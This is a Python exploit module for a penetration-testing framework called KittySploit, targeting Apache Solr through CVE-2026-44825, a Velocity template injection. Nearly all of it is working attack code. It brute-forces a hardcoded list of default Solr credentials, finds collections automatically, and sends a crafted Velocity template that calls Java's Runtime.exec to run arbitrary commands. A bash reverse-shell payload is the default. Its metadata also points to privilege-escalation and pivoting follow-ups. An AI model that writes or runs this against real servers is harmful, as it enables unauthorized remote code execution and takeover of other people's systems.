Apache Solr CVE-2026-44825 Velocity Template RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Apache Solr CVE-2026-44825 Velocity Template RCE",
        "description": (
            "CVE-2026-44825: affected Apache Solr versions may allow remote command execution "
            "via Velocity template injection on /{collection}/select. When authentication is "
            "enabled, common default credentials are attempted before exploitation."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-44825"],
        "references": [
            "https://solr.apache.org/",
            "https://www.cve.org/CVERecord?id=CVE-2026-44825",
        ],
        "platform": [Platform.UNIX, Platform.LINUX],
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "type": PayloadType.CMD,
            "platform": [Platform.UNIX, Platform.LINUX],
            "category": PayloadCategory.SINGLE,
        },
        "tags": ["solr", "apache", "velocity", "rce", "cve-2026-44825"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 'medium',
        'noise': 'medium',
        'value': 'high',
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    base_path = OptString("/solr", "Solr base URL path", required=False)
    username = OptString("", "Solr basic-auth username (empty = try defaults)", required=False)
    password = OptString("", "Solr basic-auth password", required=False)
    collection = OptString("", "Solr collection/core name (auto-discovered when empty)", required=False)
    command = OptString("id", "Command to execute via Velocity (overrides payload)", required=False)
    brute_creds = OptBool(True, "Try common Solr default credentials when auth is required", required=False)

    _VERSION_PATTERNS = (
        re.compile(r"solr-spec-version[^0-9]*([\d.]+)", re.I),
        re.compile(r"solr-impl-version[^0-9]*([\d.]+)", re.I),
    )
    _DEFAULT_USERS = ("superadmin", "admin", "search", "index")
    _DEFAULT_PASSWORDS = (
        "SolrRocks",
        "solr",
        "Solr123",
        "admin",
        "password",
        "changeme",
        "secret",
        "solradmin",
    )
    _FALLBACK_COLLECTIONS = ("gettingstarted", "test")

    def _solr_path(self, suffix: str) -> str:
        base = str(self.base_path or "/solr").strip()
        if not base.startswith("/"):
            base = f"/{base}"
        base = base.rstrip("/")
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}"

    @staticmethod
    def _extract_version(body: str) -> str:
        for pattern in Module._VERSION_PATTERNS:
            match = pattern.search(body or "")
            if match:
                return match.group(1)
        return ""

    @staticmethod
    def _is_vulnerable_version(version: str):
        if not version:
            return None
        try:
            parts = [int(part) for part in version.split(".")]
        except ValueError:
            return None
        if not parts:
            return None

        major = parts[0]
        minor = parts[1] if len(parts) > 1 else 0
        patch = parts[2] if len(parts) > 2 else 0

        if major == 9 and 4 <= minor <= 10:
            if minor == 10 and patch > 1:
                return False
            return True
        if major == 10:
            return minor == 0 and patch == 0
        return False

    def _auth_headers(self, username: str = "", password: str = "") -> dict:
        user = str(username or "").strip()
        passwd = str(password or "").strip()
        if not user:
            return {}
        token = base64.b64encode(f"{user}:{passwd}".encode()).decode()
        return {"Authorization": f"Basic {token}"}

    def _request(self, suffix: str, username: str = "", password: str = "", method: str = "GET", data=None):
        headers = self._auth_headers(username, password)
        if data is not None:
            headers = {**headers, "Content-Type": "application/x-www-form-urlencoded"}
        return self.http_request(
            method=method,
            path=self._solr_path(suffix),
            headers=headers or None,
            data=data,
            allow_redirects=False,
            timeout=8,
        )

    def _looks_like_solr(self, response, body: str) -> bool:
        if not response:
            return False
        text = (body or "").lower()
        server = str(response.headers.get("Server", "")).lower()
        return "solr" in text or "solr" in server or "solr-spec-version" in text

    def _auth_required(self, initial_status: int) -> bool:
        if initial_status == 401:
            return True
        for suffix in ("/admin/cores?action=STATUS", "/admin/collections?action=LIST"):
            response = self._request(suffix)
            if response and response.status_code == 401:
                return True
        return False

    def _auth_works(self, username: str, password: str) -> bool:
        response = self._request("/admin/info/system", username, password)
        return bool(response and response.status_code == 200)

    def _discover_collections(self, username: str = "", password: str = "") -> list:
        response = self._request("/admin/collections?action=LIST", username, password)
        if response and response.status_code == 200:
            try:
                collections = response.json().get("collections", [])
                if collections:
                    return list(collections)
            except Exception:
                pass

        response = self._request("/admin/cores?action=STATUS", username, password)
        if response and response.status_code == 200:
            try:
                cores = list(response.json().get("status", {}).keys())
                if cores:
                    return cores
            except Exception:
                pass
        return []

    def _resolve_credentials(self, auth_required: bool):
        user = str(self.username or "").strip()
        passwd = str(self.password or "").strip()
        if user:
            if self._auth_works(user, passwd):
                return user, passwd
            raise ValueError(f"Provided credentials failed for user {user}")

        if not auth_required:
            return "", ""

        if not self.brute_creds:
            raise ValueError("Authentication required; set USERNAME/PASSWORD or enable BRUTE_CREDS")

        for candidate_user in self._DEFAULT_USERS:
            for candidate_pass in self._DEFAULT_PASSWORDS:
                if self._auth_works(candidate_user, candidate_pass):
                    print_success(f"Valid credentials found: {candidate_user}:{candidate_pass}")
                    return candidate_user, candidate_pass

        raise ValueError("Authentication required but no default credentials worked")

    def _resolve_command(self) -> str:
        user_command = str(self.command or "").strip()
        if user_command:
            return user_command
        if self.payload:
            return str(self.payload)
        return "id"

    @staticmethod
    def _escape_velocity_command(command: str) -> str:
        return command.replace("'", "\\'")

    def _build_velocity_body(self, command: str) -> str:
        escaped = self._escape_velocity_command(command)
        return (
            "q=1&wt=velocity&v.template=custom&v.template.custom="
            "%23set(%24x=%27%27)"
            "%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))"
            "%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))"
            "%23set(%24ex=%24rt.getRuntime().exec(%27"
            f"{escaped}"
            "%27))"
            "%24ex.waitFor()"
            "%25"
            "%23set(%24out=%24ex.getInputStream())"
            "%23foreach(%24i%20in%20[1..%24out.available()])"
            "%24str.valueOf(%24chr.toChars(%24out.read()))"
            "%23end"
        )

    def _execute_command(self, collection: str, username: str, password: str, command: str) -> str:
        body = self._build_velocity_body(command)
        response = self._request(
            f"/{collection}/select",
            username,
            password,
            method="POST",
            data=body.encode(),
        )
        if not response or response.status_code != 200:
            return ""
        output = (response.text or "").strip()
        return output

    def _resolve_collection(self, username: str, password: str) -> str:
        selected = str(self.collection or "").strip()
        if selected:
            return selected

        discovered = self._discover_collections(username, password)
        if discovered:
            print_info(f"Using collection/core: {discovered[0]}")
            return discovered[0]

        fallback = self._FALLBACK_COLLECTIONS[0]
        print_warning(f"No collection discovered; falling back to {fallback}")
        return fallback

    def check(self):
        try:
            response = self._request("/admin/info/system")
            if not response or response.status_code not in (200, 401):
                return {
                    "vulnerable": False,
                    "reason": "Solr admin endpoint not reachable",
                    "confidence": "low",
                }

            body = response.text or ""
            if not self._looks_like_solr(response, body):
                return {
                    "vulnerable": False,
                    "reason": "Target does not look like Apache Solr",
                    "confidence": "low",
                }

            version = self._extract_version(body)
            vulnerable = self._is_vulnerable_version(version)
            if vulnerable is False:
                return {
                    "vulnerable": False,
                    "reason": f"Solr {version or 'detected'} outside affected version range",
                    "confidence": "high",
                }
            if vulnerable is None:
                return {
                    "vulnerable": True,
                    "reason": "Apache Solr detected but version could not be confirmed",
                    "confidence": "medium",
                }

            return {
                "vulnerable": True,
                "reason": f"Apache Solr {version} is within CVE-2026-44825 affected range",
                "confidence": "high",
            }
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"Check failed: {exc}",
                "confidence": "low",
            }

    def run(self):
        check_result = self.check()
        if not check_result.get("vulnerable"):
            print_error(check_result.get("reason", "Target does not appear vulnerable"))
            return False
        print_success(check_result["reason"])

        info_response = self._request("/admin/info/system")
        auth_required = self._auth_required(getattr(info_response, "status_code", 0))
        if auth_required:
            print_info("Solr admin endpoints require authentication")

        try:
            username, password = self._resolve_credentials(auth_required)
        except ValueError as exc:
            print_error(str(exc))
            return False

        if username:
            print_info(f"Using credentials {username}:{password}")

        collection = self._resolve_collection(username, password)
        command = self._resolve_command()
        print_status(f"Executing command via Velocity on /{collection}/select ...")

        output = self._execute_command(collection, username, password, command)
        if output:
            print_success("Command executed successfully")
            print_info(output)
            return True

        print_error("No command output returned")
        return False